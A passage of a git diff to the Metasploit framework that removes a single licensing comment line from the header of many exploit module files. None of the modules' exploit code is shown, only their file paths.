b/modules/exploits/multi/http/glossword_upload_exec.rb index 144a97d6cf..7e70aecb6a 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 6fe98668a4..3fee6ed245 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index ad55925036..dbca321677 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index ad3162621b..3c7bf20530 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 92f0f2a1e5..df347813ec 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index 44d18c241b..b87389353b 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 50a83f8498..154c2917ab 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index d23c994e77..b55229b9e6 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index a27cb65eb6..600f83c3ea 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 8a0858934f..5b993fb37f 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index bbd835c3e7..7ff43fae0f 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 2a44d536f5..1b49214b5c 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 869b9a96b2..18c96f5a25 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index b80e280fe2..3f133d1344 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 3604bab6c6..b99094e805 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index f458d2e49c..f96e0fc4e5 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 5ac12b19d5..6e2e543fe8 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index c91e9e3f0b..d196a3a4b3 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 99c11514aa..e9c65406d0 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 8002b4f306..91351213e1 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 849eda45fc..1dd4303c2e 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 4f322acb70..48f334d1dc 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index ebdf51ab51..218e55b43e 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index b7532c540a..9c30c82e9e 100755 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 634f7c9575..56be38b558 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index 302be8934e..63d47f8458 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index e27364c2bd..7529d55850 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index f1371c51f1..435677d479 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 05f0387085..e21e9f9294 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index f18778bae0..08e9f91c85 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index 80d6db0cb5..652c0e135f 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 56d9ab057d..59f4fc4945 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 7049b3337c..e24b7604ed 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 2c1cd565cf..29f54e4d8f 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index dc35e2523b..2a1d2c68bf 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index d0274eafeb..6f65bc56a8 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index 034ced6342..a4c76f8a81 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index 7d2b275389..dfffcc4287 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 7f76828a31..31558a3285 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 187c343d07..466a66462e 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index a732e9a87d..2090e004a2 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index dbff0c1769..c23d19e69f 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 3a362c0d2a..b33a939eb8 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 3817c4911c..223c23387f 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 1c9bb02b2c..211fdcb0d6 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index ce4352da35..adbe4790d0 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 484c0804ed..8cae347ac9 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index e9a0a33959..edf152ff43 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 671c4ab7b8..7b5c1fd352 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 8dcb5cbb7f..aa03fda74a 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 4d5aa15e8a..d96b1b92cb 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index 13ed9892e1..664fe57734 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 64657d6131..0fc4a1113c 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index a2170a9506..b45c11bdb7 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index d6ceae469d..559885c32e 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 8193a238ad..382c297413 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 755faf68d3..ac24364de1 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 9508ae65d4..290061cc28 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 58c56ace37..1e39e385d4 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 9b89ee7c3d..5498b435bd 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 6a400a921b..9675fe109f 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 43f61ab4f3..46288f4495 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index c9eb137459..9d636d58af 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb 